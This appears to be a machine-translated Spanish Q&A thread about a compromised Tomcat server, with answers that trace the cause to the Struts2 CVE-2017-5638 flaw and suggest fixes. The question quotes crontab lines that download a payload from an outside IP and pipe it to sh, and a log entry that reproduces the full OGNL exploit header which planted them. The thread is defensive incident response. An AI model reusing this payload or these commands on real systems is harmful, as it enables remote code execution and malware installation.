Ataque de script de shell en el servidor Apache, a través de un cron de origen desconocido


8

Mientras ejecutaba una guerra de proyectos en el servidor Apache Tomcat, descubrí que el servidor se había visto comprometido.

Mientras se ejecuta la guerra contra un desconocido, cronse ejecuta así

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

El descargado logo.jpgtiene un script de shell que está descargando un malware.

Encontré un problema similar en este sitio web a continuación

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

y

/security/160068/kworker34-malware-on-linux

No puedo encontrar el origen de este programador cron en todo mi código.

¿Qué deseo saber que alguien ha enfrentado este problema? y cómo debo buscar el origen del planificador en código.

Nota:

Estoy trabajando en un proyecto web JAVA (Struts 2) + jsp + javascript + jquery.

Este planificador se ejecuta cada vez que inicio mi tomcat con el archivo war del proyecto, pero no puedo encontrar ningún planificador para el planificador en mi código.

He encontrado la siguiente línea en mis archivos de registro

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

¿Cambió los inicios de sesión predeterminados de Tomcat y deshabilitó el administrador de host?

¿Te refieres al origen de estas dos entradas crontab (que son trabajos cron) o el programador cron (también en algún momento cron daemon)? ¿Generas procesos o scripts de shell desde tu aplicación Java (como Runtime.getRuntime().exec("something"))? ¿Tienes un enlace a tu proyecto?
Jan Zerebecki

Cuando inicia Tomcat sin la aplicación Java infectada, ¿está habilitado el cron?

¿Cómo estás comenzando Tomcat? ¿Cómo está implementando la aplicación? (a través de GUI, scripts o simplemente copiando el archivo .war en webapps?

He agregado registros de mi aplicación, por favor, eche un vistazo. No dude en hacerme saber cualquier cosa que pueda pensar sobre este tema.

Respuestas:


4

Después de que OP haya agregado registros, queda claro que el problema está en el exploit de ejecución remota de código para Struts 2 ( CVE-2017-5638 ).

Algunos enlaces adicionales:

  1. Nuevo exploit Struts2 Remote Code Execution atrapado en la naturaleza .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

La solución es actualizar sus Struts a la versión 2.3.32 o 2.5.10.1.


Gracias por su respuesta, pero ya he verificado mi código para palabras clave como 'logo.jpg' y '91 .230.47.40 ', no están allí. He agregado registros de mi aplicación, por favor, eche un vistazo. No dude en hacerme saber cualquier cosa que pueda pensar sobre este tema.

2

Me he enfrentado a problemas similares antes cuando era administrador de sistemas. Creo que debes distinguir si es tu servidor Tomcat o tu aplicación Java.

Cuando inicia Tomcat sin la "aplicación Java infectada", ¿se está habilitando el cron? (Quiero decir, eliminar su aplicación de Tomcat e iniciarla) Si es así, entonces tiene un problema mayor, deberá verificar los scripts de inicio y cada aplicación implementada en el servidor de Tomcat .

De lo contrario, estamos seguros de que su aplicación es el problema.

Si ese es el caso, vaya a:

$CATALINA_BASE/webapps/your_app 

Verifique la integridad de su aplicación, ¿hay archivos adicionales que no reconoce?

Ahora vaya al directorio webapps de su instalación de tomcat:

$CATALINA_BASE/webapps/

En ese directorio realice:

grep -R '91.230.47.40' *

Para encontrar el posible archivo / línea de código que causa la infección, podría ser un archivo de su aplicación o uno nuevo.

¿Tienes tu código en un sistema CSV?

Cree el archivo war fuera del servidor infectado desde su repositorio CSV y haga:

md5sum your_app.war

Elimine su aplicación del servidor tomcat y vuelva a implementarla, verifique que esté cargando la guerra correcta a través de md5, luego verifique si se invoca el crontab.

Si proporciona comentarios sobre estos pasos, con gusto lo ayudaré.


1
Ya he verificado mi código para palabras clave como 'logo.jpg' y '91 .230.47.40 ', no están allí, sin embargo, el problema es con la aplicación, no con el gato. He agregado registros de mi aplicación, por favor, eche un vistazo. No dude en hacerme saber cualquier cosa que pueda pensar sobre este tema.

2

Simplemente tuvimos que luchar contra este tipo de ataque en un servidor, seguía reiniciando sobrescribiendo crontab para nuestro usuario de tomcat como se describió anteriormente. La dirección IP era idéntica. Grep de todo el directorio webapps para la dirección IP no reveló un culpable.

En nuestro caso no utilizamos puntales, pero teníamos las aplicaciones "host-manager" y "manager" en webapps, y teníamos JMX habilitado / puerto abierto. Reiniciar sin esos parece haber resuelto, así que mi presentimiento es que la vulnerabilidad podría estar en uno de esos. Específicamente, se corrigió una vulnerabilidad JMX en 7.0.73 que podría ser nuestro culpable ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Otra precaución que estamos tomando ahora es restringir el acceso a wget y chmod solo a la raíz (solo haga chmod 770 en esos binarios).

Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.